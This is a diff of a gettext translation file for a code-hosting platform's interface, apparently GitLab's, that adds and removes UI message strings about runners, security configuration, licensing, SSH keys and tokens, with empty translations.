+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr "Pomocí %{code_start}::%{code_end} vytvoÅ™te sadu %{link_start} Å¡títkÅ
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
